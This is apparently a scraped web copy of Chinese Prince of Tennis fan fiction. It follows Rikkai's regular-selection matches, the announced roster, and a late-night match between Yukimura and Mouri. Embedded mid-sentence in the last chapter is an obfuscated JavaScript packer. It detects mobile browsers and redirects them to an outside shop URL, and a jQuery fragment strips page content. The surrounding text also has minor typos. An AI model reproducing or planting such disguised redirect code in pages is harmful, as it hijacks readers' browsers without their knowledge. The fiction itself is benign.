他发出一声近乎嘶吼的呐喊,将所有杂念抛在脑后,朝着来球的方向不顾一切地飞扑出去!完全放弃了调整脚步和维持重心,身体如同离弦之箭般射出,手臂和球拍拼命伸向那颗即将二次落地的黄绿色小球。 “嗤啦——!” 膝盖和手肘与粗糙坚硬的地面剧烈摩擦,传来一阵尖锐的刺痛。 球拍的边缘似乎蹭到了网球,但那股微弱的力道根本无法改变球的轨迹。 “Game,椿宗一郎,3-0。” 切原重重摔在滚烫的地面上,胸腔剧烈起伏,□□得像破旧的风箱。膝盖处传来火辣辣的疼痛,幸好今天穿的长裤布料厚实,只是青紫了一片,没有破皮。他咬紧牙关,用手臂撑起上半身,甚至没去看受伤的地方,只是用那双燃烧着不甘、愤怒和更加顽固执拗的绿色眼眸,死死瞪向网对面神色依旧平静如水的椿宗一郎,然后紧紧攥住了掉在一旁的球拍,仿佛那是他此刻唯一能抓住的、不肯倒下的旗帜。 场边,结束自己比赛、溜达过来观战的柊慎之介已经观察了一会,又恰好听到了阿隆带着不满的低语:“……不知天高地厚,对椿前辈那么轻慢,现在这副样子真是活该……” 柊笑嘻嘻地一伸手,勾住了阿隆的脖子:“喂喂,阿隆,冷静点啦~” 他语气轻松,带着惯有的散漫,“椿的球速和控球你还不清楚?那小子眼神是有点欠揍……不过——” 他话锋一转,朝场内扬了扬下巴,银灰色的眼睛里闪过一丝精光,“你仔细看,他每次判断椿的球路其实挺准的,扑的方向也没大错。这份动态视力和球感,可是实打实的。比你当年第一次被椿指导时,连球从哪边飞过来都分不清的呆样,强了可不止一星半点吧?嗯?” 阿隆被他说得噎住,脸上闪过一丝窘迫。他挣动了一下,没能摆脱柊的手臂,仍是皱眉:“可他那态度……” “态度是可以调教的嘛。”柊耸耸肩,凑近了些,声音压低了些,“再说了,咱们的小部长既然破例放他进来。你觉得,会没有他的深意吗?” 他朝幸村所在的方向极快地瞥了一眼,“幸村部长的眼光,什么时候出过错?这小子或许毛病一堆,但能被部长注意到,总该有点特别的东西吧。光凭蛮横和没礼貌,可入不了部长的眼。” 阿隆闻言,神色明显动摇了一下。他看向场中又一次奋力扑救的切原,又远远望了一眼静静观战的幸村精市,嘴唇动了动,最终撇了撇嘴,咕哝道:“……哼,就算部长有考量,那也不能成为他不尊重前辈的理由!而且,光有点直觉有什么用,基本功稀烂成这样,还不是被前辈教训!”语气虽然还是硬邦邦的,但怒气明显少了很多。 “就是,打法太乱来了。”旁边有人插嘴,仍是批评。 但在切原下一次以近乎自毁的姿态飞扑救回一个几乎不可能的球时,另一个声音轻轻响起:“……但他每次,是真的拼了命在追啊。明明都0-5了……”< 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切原那点珍贵的天赋,在缺乏坚实基础支撑的情况下,反而像一面放大镜,将他技术层面的所有缺陷暴露得淋漓尽致,使得他在面对椿这种基本功扎实、打法稳健的对手时,所有的努力都化作了效率低下且损耗巨大的、难看而无谓的挣扎。 两人的简单的交谈着,目光却始终未曾离开那片方寸战场。 切原赤也又一次在飞扑救球中与地面碰撞,比分差距持续拉大,失败的结局似乎已无可逆转。但奇怪的是,那双翡翠般的绿色眼眸,在汗水、尘土和不断累积的挫败感重重覆盖下,那簇执拗的火焰却并未熄灭,反而在某些瞬间,仿佛被淬炼过一般,沉淀出某种更加尖锐、更加顽固的东西。 真田弦一郎始终抱着双臂,帽檐下的脸庞线条绷得冷硬如石刻。他比任何人都更清晰地看到切原技术环节上的每一处漏洞、每一次不合理的挥拍、每一次因冲动而做出的错误选择,每一处都让他想厉声喝斥“太松懈了!”。 但同样无法忽视的,是那小子每一次飞身扑救时,眼中那种纯粹的、不顾一切也要触碰到球的执拗;是他重重摔倒在地后,几乎不待喘息便咬牙爬起,眼神反而被失败和疼痛激得更加灼亮骇人的那股狠劲。 这种笨拙的、毫无效率可言的、甚至堪称愚蠢和自毁的每球必争;这种近乎偏执的不肯认输、不肯放弃……像一块未经打磨、棱角粗糙的石头,猛地投入他严谨、自律的心湖,激起一圈复杂难言的涟漪。 这绝非真田认可和追求的网球之道,但其中蕴含的那种原始、顽强、不肯低头的生命力,却让他无法彻底移开视线,心底某个角落,甚至隐隐被难以言喻的共鸣所触动。 看到真田触动的神色,幸村朝柳无声的做了个口型,“像吧。” 柳莲二微微抿唇,艰难掩饰住唇边的笑意。 “确实。”他也用口型回答幸村。 ……. 周围的低语声更啁哳了。 “又扑了……太乱来了吧?根本不可能接到的球啊。” “追不上就别硬追啊,看着都觉得疼……” “真是的,不知道该说他固执还是没脑子……” 但也开始夹杂了一些不同的声音: “不过……他是真的一次都没放弃去追啊,哪怕是从开局就知道接不到的时候。” “明明比分都这样了……” “虽然方法完全不对,看起来也很蠢……但这拼命的劲儿确实很爷们儿。” …… 依然有许多人不认同这种伤敌八百自损一千的鲁莽拼搏,认为这毫无意义且不智,尤其结合切原之前的张狂,更是让人难以产生好感;但也开始有极少数人、极轻微地,被这种不计代价、倾尽所有、只为触碰到那颗黄绿色小球的姿态所触动。 “比赛结束,椿宗一郎获胜,比分6-0。” 裁判的声音清晰落下,为这场实力悬殊的对决画上了句号。 切原赤也站在原地,胸膛仍在剧烈起伏,汗水早已浸透了他的运动衫,紧紧贴在皮肤上。手肘和膝盖处的擦伤淤青在阳光下显得格外刺目。他抬起眼,看了一眼记分牌上那个刺眼的“0”,又看向网对面神色依旧平静、只是额头微微见汗的椿宗一郎。 切原的嘴唇用力抿成一条苍白的直线,他最终什么也没说,没有抱怨,没有不服气的叫嚷,只是深深地吸了一口气,然后缓缓吐出,低下头,默默整理了一下手中紧握的球拍,转身,一步步走下场。他的背影依旧挺得笔直,甚至带着一种僵硬的、不肯弯曲的倔强,但那份落寞和沉重的挫败感,却如同实质般笼罩着他。 幸村精市的目光从切原身上掠过,随后若有所感地望向了球场的另一端。 远处林荫道旁,一个高挑的背影正拎着球拍袋,步伐散漫地消失在树影间。 幸村看了眼时间,部活才开始不到一个小时,就有人已经完成了自己所有的比赛了吗? 幸村眼底掠过一丝极淡的微光。他收回视线,转向身旁的两人,语气温和:“那么我先去别的球场,这里就麻烦你们了。” 柳莲二微微颔首。 真田沉声道:“嗯。” 幸村转身迈步,肩头洒着穿过叶隙的细碎光斑,从容的身影很快融入球场外围流动的人影之中。 6. 县大赛选拔(三) 选拔赛的浪潮持续在立海大网球部激荡。 时间来到第六天,各组的战局逐渐明朗,空气中弥漫着尘埃落定的紧张与最后冲刺的灼热。 A组的悬念最先结束。幸村精市以全胜战绩,用一场场平静却令人窒息的胜利锁定小组第一。而在下午早些时候,中央球场上演了决定小组第二的关键对决——丸井文太对阵三年级前辈山本智木。 丸井和山本都是擅长网前对攻的选手,整场比赛都充满了属于网前选手特有的天马行空的想象力。 红发少年在网前舞动,汗水在阳光下闪闪发光。 最终,丸井在几乎失去平衡的情况下,手腕精巧一抖,用一个擦网球结束了自己的比赛。 “比赛结束,丸井文太获胜,比分6-4!” 丸井高举双臂,躺倒在地,大口喘息,脸上是毫不掩饰的灿烂笑容。 “干得漂亮,文太!”场边的胡狼桑原用力鼓掌,脸上写满喜悦。 胡狼在D组的比赛甚至结束的更早,就在上午早些时候,他历经了一场艰苦的拉锯战,最终凭借更顽强的防守和关键时刻的底线深球,以7-5的比分险胜三年级的小林健吾前辈,同样以小组第二的身份出线,与同组的柳莲二一同获得了正选资格。 B组的战果毫无意外。真田弦一郎以碾压般的全胜战绩登顶,不论是他场下的铁面无私亦或者是场上的风林火山,压迫感让所有网球部成员印象深刻。而椿宗一郎则凭借稳定如磐石的发挥锁定第二。 切原赤也正盯着积分板上自己B组第三的排名,碧色的眼眸里翻涌着不甘。他刚刚结束了自己最后一场比赛,再次大比分给真田。1-6,比起开学时那个6-0,他确实追回了一局,但输这个字依然灼烧着他的心脏。 “切原,”路过的椿宗一郎温和地拍拍他的肩,“你的进步很明显。力量、速度、直觉都是顶尖的,但网球场上,控制网王也是非常重要的,你的基础不牢,要多联系一下。” 切原咬了咬嘴唇,生硬地鞠了一躬:“……谢谢前辈。” …… C组的积分形势也相对清晰,毛利寿三郎以全胜战绩高居榜首,他的比赛总是结束得很快,赛后便不见踪影,只留下一个强大而神秘的背影。 而第二名的出线资格,则将会在柊慎之介和仁王雅治之间产生——通过一场两个人的直接对话,获胜的一方,将会拿下县大赛最后的正选席位。 因此,此刻的C组球场边围拢了最多的人,仁王雅治与柊慎之介的比赛正在进行。 大家都想知道,这场C组的收官战,获胜的会是谁。 场内,仁王正擦去下巴的汗珠,银色的小辫子随着他急促的呼吸微微颤动。对面,柊前辈还是那副笑眯眯的模样,但眼神专注得吓人。 “puri~前辈今天格外难缠啊。”仁王喘着气,手指绕了绕发尾。 “是仁王君你太狡猾了,”柊笑着回球,球路依然稳定扎实,“我这把老骨头可得打起十二分精神才行。” 比赛进入后半段,仁王的步伐开始迟滞。他的假动作依旧精妙,几次骗得柊前辈重心偏移,但致命一击的把握上,总差了那么一点火候。 场边,已经结束比赛、心情大好的丸井文太溜了过来,胳膊肘碰了碰身边的桑原:“我说杰克,狐狸今天好像格外认真啊?不过跑动是不是有点慢了?” 对体力控制更有经验的桑原点点头:“嗯,仁王君的体力……可能快到极限了。” “可惜了。”一个平静的声音在两人身侧响起。 丸井一扭头:“部、部长?” 幸村精市不知何时站在了他们身后。他的目光落在仁王又一次勉强救回、却被柊前辈轻松截杀得分的球上,声音很轻:“刚刚再快一点,就能打出穿越球了。” “仁王没想到自己的体力消耗的那么快,”记录比赛的柳回道,“虽然被骗了好几次,但柊前辈从一开始就看穿了仁王体力上的弱点,这场比赛柊前辈的调度做的太好了。” 幸村:“拖到这个时候,仁王的赢面已经不大了。” “太松懈了,因为体能而输掉比赛。” “嗯,”幸村点头,“仁王的体能是还要抓一抓,后面就拜托你了,真田。” “嗯。” 丸井和桑原闻言,忍不住为仁王未来的训练拘一把同情泪。 果然,几分钟后,随着仁王一记网前截击下网,比赛结束。 “比赛结束,柊慎之介获胜,比分7-5。” 仁王撑着膝盖,汗水顺着发梢滴落。他没有立刻起身,盯着自己微微颤抖的小腿看了几秒,才直起腰走向网前握手。 “打得很精彩,仁王。”柊前辈真诚地说,“下次可不会这么轻易被你骗到了。” “puri~下次我会准备更多花样的。”仁王扯出个笑容,但疲惫显而易见。 至此,本次正选选拔赛的比赛全部结束。 仁王雅治与同在C组的柳生比吕士,确定无缘小组前二,单打出线之路断绝。 幸村的目光扫过走下场、神色难掩遗憾的仁王,又掠过不远处安静观战、镜片后目光沉静的柳生,声音清晰地传到两人耳中:“单打出线已经没有希望。那么,最后的双打选拔,准备好了吗,仁王、柳生?” 被点名的两人同时抬头。仁王已经缓过气来,眼底的不甘迅速被惯有的狡黠覆盖,他绕了绕小辫子:“puri~部长放心,秘密武器总要留到关键时刻。” 柳生推了推眼镜,冷静地补充:“我们会赢。” 幸村点了点头。 “高桥和渡边前辈的组合也是颇具竞争力的组合。”柳提醒。 丸井吹了个泡泡,插话:“听到了吧?可别第一轮就翻船啊,狐狸、绅士!” 仁王挑眉:“天才君还是多操心自己正选的位置坐不坐得稳吧。” “你说什么?!” “与其做无谓的口舌之争,不如保存体力,准备明天的硬仗。太松懈了!” 幸村适时开口,压下小小的骚动:“真田说得对。今天到此为止,所有人养精蓄锐。明天的双打选拔赛加油。” “是!” …… 周六上午,阳光洒满中央球场。双打选拔赛决赛即将开始:仁王雅治 & 柳生比吕士 vs 高桥 & 渡边。场边聚集了大量部员,已经确定正选席位的幸村、真田、柳、丸井、桑原等人也在其中。 比赛开始。第一局,经验丰富的高桥和渡边就给了仁王柳生一个下马威。他们利用默契的配合和精准的落点,不断攻击柳生相对较慢的横向移动,并巧妙地用短球和深球结合,调动仁王前后奔跑。 “0-15,0-30……糟糕,开局不利啊。”丸井皱起眉。 柳生试图用重炮发球打开局面,但对手的接发球处理得很老道,多次将球回到柳生脚边,让他难以发力。仁王几次网前突袭也被预判,无功而返。 “第一局结束,高桥 & 渡边获胜,1-0。” 交换场地时,仁王和柳生低声快速交谈了几句。柳生推了推眼镜,仁王则绕了绕小辫子,眼神锐利。 第二局,仁王的发球局。他抛球,挥拍,球速并不特别快,但带着强烈的侧旋,落地后弹跳轨迹诡异。渡边勉强将球挡回,回球质量不高。柳生早已等在底线,一记干净利落的正手斜线,直接得分。 “15-0!” 紧接着,仁王和柳生打出了一个精妙的配合:柳生中路深球压迫,仁王悄然上网;当对手的回球刚刚过网,仁王的球拍已经等在那里,一记轻巧的放短,得分! “30-0!” “好球!”场边响起喝彩。 这一局,仁王和柳生凭借发球优势和一次漂亮的配合成功保发,扳平比分。 然而,高桥和渡边毕竟经验丰富。他们很快调整策略,不再追求一拍制胜,而是利用稳健的底线相持和偶尔的网前施压,耐心地与仁王柳生周旋,寻找破绽。比赛陷入胶着,比分交替上升。 “3-3平。” “4-4平。” 关键的第9局,柳生的发球局。30-30平时,高桥打出一记高质量的反手直线,直冲边线。柳生奋力奔跑,勉强将球捞回,但回球又高又飘。渡边早已等在网前,打出了一记凶狠的扣杀。 眼看就要得分,一道银色的影子如鬼魅般出现在网前。是仁王!他不知道何时已经补到了这个位置,在身体几乎失去平衡的情况下,手腕一抖,球拍面轻巧一垫—— 小球划过一道极高的抛物线,越过网前渡边的头顶,精准地落在底线附近。 “穿越球!40-30!” “漂亮!”丸井忍不住跳了起来。 柳生趁机用一记ACE球拿下这一局,5-4领先。 第10局,高桥和渡边的发球局,也是他们非保不可的一局。压力之下,渡边出现了双误,0-15。紧接着,仁王打出了一记匪夷所思的底线挑高球,球在风中飘忽不定,落在边线上,裁判示意“IN”,15-30。 高桥和渡边奋力追分,将比分扳成30-30。但下一个球,柳生用一记势大力沉的正手抽击压迫对手回球出浅,仁王迅速上网,一记干净利落的截击得分,拿到了赛点! 全场寂静。最后一个球。 高桥发球,球速极快。柳生接发球质量不错,将球回到中路深区。渡边正手拉出一道上旋球,试图压制仁王的反手。仁王侧身,引拍动作极大,看似要全力抽击—— 高桥和渡边的重心下意识地向仁王的抽击方向移动了半步。 但仁王的手腕在触球瞬间极隐蔽地一抖,拍面轻轻一切。 小球带着强烈的下旋,轻飘飘地越过球网,急速下坠,在发球线内弹起后几乎静止。 高桥和渡边拼命向前冲,但已经来不及了。球第二次落地。 “比赛结束!仁王雅 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幸村又看向柳生:“柳生君,你的发球和底线是强大的武器,但在双打中,尤其是在防守轮转和网前应对突发球时,移动和反应还可以更快。你们两人的互补性已经展现出来,要继续磨合,把这股势头保持下去。” 柳生郑重地推了推眼镜:“明白,部长。” …… 周日下午,最终的名单张贴在公告栏上。 金色的阳光透过樱花树枝叶,在白色纸张上投下跃动的光斑。人群安静下来,屏息凝神。 最上方,加粗的标题:立海大附中网球部县大会正选名单 紧接着,第一个名字赫然在目: 幸村精市 然后是: 真田弦一郎 柳莲二 毛利寿三郎 柊慎之介 椿宗一郎 丸井文太 胡狼桑原 下方附注: 【第一替补双打】:仁王雅治 & 柳生比吕士 “哇——!!!” 丸井第一个跳起来,用力揽住桑原的肩膀:“杰克!看到了吗!我们成了!正选!” 桑原憨厚地笑着,重重点头,喜悦之情溢于言表。 仁王盯着替补两个字看了片刻,嘴角勾起一抹复杂的弧度,手指绕了绕银色的小辫子。 柳生推了推眼镜,镜片后的目光沉静而锐利:“仁王君,这只是开始。” “puri~我知道。”仁王懒洋洋地应道,眼底却燃着被点燃的斗志,“不过,总算是拿到入场券了,对吧?” 切原赤也挤在最前面,死死盯着公告栏上B组第三的排名,以及正选栏里没有自己名字的事实。他用力咬着嘴唇,翡翠色的眼眸里翻腾着不甘、懊恼,以及更加灼热的决心。他转头,目光扫过神情严肃的真田,掠过正与丸井说笑的桑原,最后定格在名单最上方那个名字上——幸村精市。 总有一天。他在心里狠狠发誓。总有一天,我会站到你们面前,站到最高的地方。 人群边缘,毛利寿三郎背靠着樱花树干,双手插在裤袋里。他看着公告栏上自己的名字,脸上没什么特别的表情,只是随意地捋了捋被风吹乱的卷发。他似乎打算像往常一样转身离开,脚步却几不可察地顿了一下,余光极快地扫向了部活室的方向。 部活室内,真田看着窗外毛利的身影,眉头习惯性地蹙起,嘴唇抿成一条严肃的直线。 幸村的目光也落向那个方向,与真田带着不满和疑问的视线在空中交汇。他没有说话,只是对真田微微摇了摇头,随即露出一抹温和却不容置疑的浅笑,那笑容里有着清晰的安抚。 真田沉默地看了幸村几秒,最终几不可察地颔首,移开了目光。 …… 部活结束后,幸村精市最后一个离开部活室。他仔细整理好所有文件,锁上门。走廊里空无一人,窗外暮色四合,天空由温暖的橙红渐变为沉静的靛蓝。 他独自站在窗前,夜风带着相模湾特有的咸涩气息和晚樱最后的甜香,穿过未完全闭合的窗隙,轻轻拂动他额前的紫色碎发。 他静静地望了一会儿远处海平面上初升的星子,然后转身,背起网球包,脚步声在空旷的走廊里规律地回响,最终融入渐浓的夜色,消失不见。 与此同时,在离校园不远的临海坡道上,毛利寿三郎正慢悠悠地蹬着自行车。海风毫无阻碍地吹来,卷起他额前翘起的发丝。他眯着眼,望向远处那片被夜幕笼罩、却在月光下粼粼闪烁的深蓝色海面,嘴里哼着一段不成调的、轻快又略显寂寥的旋律。 若有人在此刻靠近,细细端详,便会发现,他那双总是半睁半阖、仿佛对万事万物都懒洋洋提不起劲的眼眸里,此刻没有丝毫朦胧的睡意。 那里清晰映着海面上随波光破碎又不断重聚的银白月影,清冷,明亮,深邃,仿佛也倒映着某个即将到来的、无人知晓的约定。 7. 你听说过天衣无缝吗? 夜色渐浓,褪去了白日的喧嚣。 神奈川一处僻静的私人网球俱乐部内,仅有几盏高耸的照明灯将球场照得亮如白昼,在空旷的场地上投下界限分明的光斑与长长的阴影。这里远离街道,只听得见夜风穿过铁丝网的低吟,以及远处隐约的海潮声。 幸村精市坐在场边长椅上,膝头摊开一本习题册,手里捏着一支笔,借着球场明亮的灯光,正微微蹙眉看着一道几何题。 听到那熟悉的、略显拖沓的脚步声,幸村抬眸,看向入口。 毛利寿三郎拎着球包晃了进来,接近一米九的个子在灯光下投出长长的影子,一头蓬松的红卷毛随着动作轻轻晃动,让他看起来像只慵懒的大型猫科动物。即使穿着宽松的土黄色运动服,却掩不住这人宽肩长腿的好体格。 “哦?小部长已经来啦……”毛利话音未落,就看到幸村腿上的作业本,他眨了眨眼,凑近些,“哇,这是在……写作业?” “晚上好,前辈。”幸村站起身,合上练习册,活动了一下有些僵硬的脖颈,“最近部里事情比较多,作业只能晚上补一点了。本来想趁你到来前多做几道……不过前辈来的比我想象中要早。” 毛利看了看那本显然没写多少的习题册,忍不住笑了:“哈哈哈,原来无所不能的小部长也会为作业头疼啊!” 幸村轻轻叹了口气:“是啊,人为什么一定要写作业呢?” 立海大作为一所偏差值极高的学术名校,对功课的要求并不算少。哪怕是为学校带来不少荣誉的网球部部长幸村君,也总是会为作业感到苦恼。 毛利感同身受地、沉痛地拍了拍幸村的肩膀。作为国三即将升学的学生,毛利的作业量有过之而无不及,此时两人颇有种同是天涯沦落人的感觉,一切尽在不言中。 “说起来,”毛利四下打量了俱乐部的环境,光洁的地面、崭新的球网、远处隐约可见的恒温室内场和休闲区,无不彰显着奢侈二字,“这里很贵吧,太有钱了小部长。” “呵呵,”幸村语气轻松,带着点狡黠,“如果前辈平时少打坏点场地,网球部偶尔包下这里也是可以的哦。” “哎——?”毛利拖长了声音,随即咧嘴笑了,露出白牙,他利落地拉开球包,眼神亮晶晶地看向幸村,“所以,特意约在这里?真有你的。” “嗯。”幸村微笑着,从长椅上拿起一罐饮料抛过去,“好久没和前辈打球了嘛。” 毛利接过饮料,咔哒一声打开,灌了一大口。“行啊,”他抹抹嘴,笑容爽快,“那就打吧!” …… 毛利放下球包,脱下外套。他舒展身体时,能清楚看到流畅的肌肉线条,区别于身体尚未开始发育的幸村,三年级的毛利已经初具运动员的体格了,不是笨重的力量型,而是兼具柔韧与爆发力的类型。尽管身高腿长,他做起拉伸动作却异常轻巧,带着一种与体型不符的灵活感。 隔网对拉开始。毛利站在底线后,高大的身躯覆盖范围很广,但移动起来却并不笨拙。他的步伐跨度大却落地轻,转向时腰胯的转动非常流畅,这让他在处理大角度来球时,总能以一种看似从容不迫的姿态到位。 稍微热身了几球,两人就默契的停下动作,准备切入正题。 “前辈先发?” “行啊。”毛利也不客气。 毛利拍打着手中的球,眼神沉静下来。抛球,挥拍,动作舒展而协调,高大的身体在发球时充分展开,像一张拉满的弓,但击球瞬间的发力却并非一味刚猛,带着巧妙的旋转,角度刁钻。 幸村的脚步早已启动,精准回击。 比赛在无声中展开。毛利很快发现,今晚的网球打得格外别扭。他喜欢在相持中寻找节奏,然后用力量或灵感打出顺畅的进攻。但幸村的回球总是落在他最不舒服的位置。 这就是幸村精市的网球。 坦率来讲,毛利并不觉得现在的幸村是他见过最强的网球选手,两年前,他曾跟随四天宝寺观看过牧之藤部长平等院凤凰的比赛,那时的关西人已经有了一副强壮的体格,对比起幸村现在尚显单薄的少年身形,健壮的平等院凤凰的球质当然更好。 但——幸村精市绝对是最让人感觉不舒服的对手。 此刻,手长脚长的毛利寿三郎,应接不暇的应付着压深的上旋球和中路的追身球,开始思考自己为什么不直接好好说话,而是要逼幸村来削自己一顿。 但毛利真正的特质,在别扭中开始显现。 身躯太过高大难以处理需要屈膝的深区上选? 没关系,他的关节足够灵活。 中路的追身球攻击反手侧? 没关系,哪怕引拍空间不够,即使以别扭的姿势,他也能将追身球回击! 见毛利虽然狼狈,但是还是完成了一次又一次的回击,幸村轻笑一声,改而选择调动毛利。 见幸村试图用大角度拉开落点,毛利那双长腿几个大步就能覆盖到位,而在急速的奔跑中,他高大的身躯能保持出色的平衡,并在最后一刻调整重心,以一个近乎不可能的轻盈完成击球动作。 幸村挑眉,反手回击,选了一个更刁钻的落点。 毛利整个人横向飞扑出去,手臂伸展到极限,在球即将二次弹起前,手腕轻柔一挑,球划过一道高高的弧线,精准落回底线附近。 幸村正手引拍,用一个穿越球结束了这一分。 “啧……”毛利咂了下嘴,额角渗出汗水。幸村的控制确实让人烦躁,他只能更积极地运用自己的身体。 毛利不再单纯追求力量,而是尝试结合自己的灵巧的关节:偶尔在底线后跳起,利用高度打出压迫性强的扣杀式平击;有时又突然放低重心,滑步救球,高大的身躯贴地而行,迅捷异常。 幸村的眼眸微微闪动。 毛利寿三郎的网球,建立在出色的身体条件上,但绝非依赖蛮力。他的身高让他视野开阔,击球点选择更多;他的灵巧让他能在各种别扭姿势下维持击球质量,并时常有出人意料的应变。 “喝啊——”在一次多拍相持后,毛利在底线后场,面对幸村再度使用的压深球,他没有选择常规回击,而是看准时机,高大的身体轻盈地向侧后方跃起,并非为了发力,而是在空中微微扭转身躯,手臂划出一个灵动的弧线,小球跟着划出一道诡异的弧线,堪堪过网后急速下坠。 “好球。”幸村赞叹。 这球展现了毛利绝佳的空间感、身体协调性和大胆的想象力,堪称身体素质与球感结合的典范。 但这记精彩得分像投入深潭的石子,涟漪很快平息。幸村立刻调整策略,更多地将球送到毛利脚下或中路追身,限制他充分施展臂展和步幅,并用更绵密的旋转消耗他。 毛利的灵光一闪,似乎只是让幸村更清晰地看到了他天赋的边界,并随之施加更精确的限制。 时间流逝。毛利拼尽全力,他的体能和斗志支撑着他不断用灵巧的脚步和舒展的动作救球、尝试反击。但整体上,他始终被牵着鼻子走,天赋被抑制,节奏被破坏,体力在以更高的效率消耗。 幸村同样不太轻松。他的呼吸早已加重,紫色的发丝也早就被汗水浸湿。 终于,在一次漫长的拉锯后,毛利奋力救回一个刁钻的角落球,幸村早已等在网前,一记轻巧的截击结束了这一分。 毛利弯下腰,双手撑膝,大口喘着气。汗水顺着他棱角分明的下颌滴落,湿透的红发贴在额前,高大的身躯此刻微微佝偻着,显露出疲惫。他累极了,那种始终被对手掌控的憋闷感格外强烈。 幸村也站在原地,微微仰头调整着呼吸,胸膛明显起伏。他脸上带着运动后的红晕,比平时狼狈许多,但放下球拍的动作依然从容。 毛利直起身,抹了把湿漉漉的脸,咧了咧嘴:“差不多了吧……你这让人难受的打法。” 幸村歪头,撇了眼时间,语气带着一丝认真:“前辈的体能还有提升的空间。以三盘比赛的强度来看,现在这样就累了可不行。明年就要升入高中了,赛制会更严格。” “三盘?!”毛利听到这个词,仿佛最后一根弦崩断,整个人“啪嗒”一下向后瘫倒在冰凉的地面上,四肢摊开,活像一张被烤化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013153|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了的猫饼,连指尖都透着拒绝。“和小部长你打三盘……绝对是地狱难度啊……” 他其实从一开始就知道今晚是鸿门宴。 部长亲自约球,时间地点都透着不寻常。 但现在,他已经挨完了削了,浑身骨头都像散了架,预想中的正题却迟迟不来。左等右等,幸村只是安静地收拾球拍,补充水分,完全没有开口说点什么的意思。 毛利躺在地上,望着球场上大灯刺眼的光,终于沉不住气了。他侧过头,看向正在用毛巾擦汗的幸村,语气试探:“……我说小部长,今天为什么是你来啊?我还以为会是真田黑着脸来逮我,或者柳拿着数据本跟我算账呢。” 幸村擦汗的动作微微一顿,转过头,紫色的眼眸清澈见底,脸上适时浮现出一丝恰到好处的无辜:“前辈在说什么呢?我只是好久没和你打球了,想找你打打球而已。” 毛利寿三郎:“……” 骗鬼呢!他内心的小人已经开始咆哮。只是打球什么时候不能打?非要大半夜跑到这种贵得要死、安静得吓人的俱乐部?而且你小子连作业本都带来了,摆明了是挤出时间有计划来的!说没有预谋,谁信啊! 看着幸村那副老神在在,仿佛真的只是进行了一场普通练习赛的表情,毛利有种一拳打在棉花上的无力感。他自暴自弃地躺平:“行吧行吧……你不就是想问我为什么翘晨训吗?我错了,我不应该逃训,我明天开始就按时报到,行了吧?” 出乎意料,幸村轻轻摇了摇头,语气平和:“不,前辈,我真的不是因为这个。” 毛利惊讶地撑起一点身体,看向幸村:“啊?不是因为逃训?” 这和他预想的剧本不一样。 “嗯。”幸村走到场边长椅坐下,拿起自己的水壶喝了一口,“其实,去年全国大会之前,前辈不是已经被毛利兰小姐劝说过不再逃训了吗?” 他特意在“劝说”二字上加重,暗示意味非常浓厚。 毛利的脸瞬间垮了下来,仿佛想起了什么不堪回首的往事。被抓包、被训话、被武力威慑……那确实是一段让他深刻认识到姐姐的温柔仅限于表面,不管在外人眼里多温柔,其实皮下就是一只人型高达的惨痛经历。 幸村仿佛没看到他的黑线,还若有所思地感叹了一句:“兰小姐看上去那么温柔和善,没想到前辈意外地挺听她的话呢。” “那、那是表象!绝对的假象!”毛利像是被踩了尾巴的猫,差点弹起来,声音都提高了一点,“小部长你是不知道!她看上去再温柔,皮下也是一只不折不扣的人型母狒狒!你见过有人能徒手把墙壁打穿一个洞吗?啊?!多恐怖啊!” 他手舞足蹈地比划着,试图描绘那非人的场景。 幸村闻言,竟真的露出了思索的神色,沉吟道:“力的作用是相互的……打穿墙壁,她的手得有多痛啊。” 毛利:“……” 重点是这个吗?!重点是那非人的破坏力啊小部长! 看着毛利一脸噎住的表情,幸村轻轻笑了笑,将话题拉了回来:“说回正事。我真的不是因为逃训。因为前辈其实还算有分寸,不是吗?” 他看向毛利,目光平静却仿佛能穿透人心,“你逃的是额外的晨练,但下午的部活时间,你基本都是准时报道的。而且,柳的数据显示,你提前离开的时候,当天的训练内容也基本完成了。所以,与其纠结前辈‘为什么逃训’,我更关心的是另一件事。” 他顿了顿,迎着毛利逐渐变得认真的目光,缓缓说道:“我想确认前辈你的网球水平。今晚打下来……我感觉你比之前更强了。你并不是没有努力,只是……用了自己的方式,或者,有别的原因。” 毛利沉默了。他重新躺回地上,这次没有摊成猫饼,而是将手臂搭在额头上,遮挡住了脸上的神色。月光与灯光交织,洒在他高大的身躯上。 过了好一会儿,就在幸村以为他不会再开口时,毛利的声音低低地传来,带着一种罕见的、褪去了所有懒散玩笑的平静: “……小部长。” “嗯?”幸村表示洗耳恭听。 “或许……你有听说过天衣无缝的极限吗?” 8. 快乐网球(一) “……或许……你有听说过天衣无缝的极限吗?” 毛利寿三郎的声音带着疲惫,却透着一股罕见的认真,在空旷寂静的球场里格外清晰。 幸村精市擦汗的动作顿住了。 他缓缓转过头,看向依然瘫在地上的前辈。脸上先是掠过一丝纯粹的茫然,仿佛没听清,或没理解这几个词组合在一起的意义。随即,紫水晶般的眼眸里,非常缓慢却清晰地浮现出一个几乎可视的巨大问号。 幸村没有立刻回应。他放下毛巾,走到毛利身边蹲下。在对方有些不明所以的注视下,他伸出手,用手背很自然地贴了贴毛利的额头,动作轻柔,带着点例行检查的意味。 “没发烧啊。”他收回手,低声自语,语气里掺着一丝真实的困惑。 “喂喂喂!”毛利不满地咕哝,“没有在开玩笑啊。” 幸村抬眼,目光落在毛利脸上。那眼神不再是球场上沉静锐利、洞悉一切的模样,也不是平日温润有礼的姿态,而是带着点探究和纵容的笑意,像在看一个还相信世界上存在圣诞老人的孩子。 “嗯嗯,”幸村小鸡啄米般点头,语气敷衍得明显,“前辈没有在开玩笑。” 毛利读懂了那眼神,瞬间变身成只被踩了尾巴的大猫。 “喂!”他挣扎着想坐起来,尽管脱力只让他徒劳地挪动了一下,“小部长!我不是在说胡话!也没发烧!是真的有这个东西!有人亲眼见过!” 幸村终于收敛了脸上那点散漫,正色道:“天衣无缝……居然真的存在?我一直以为,那不过是某些人输不起的杜撰。” 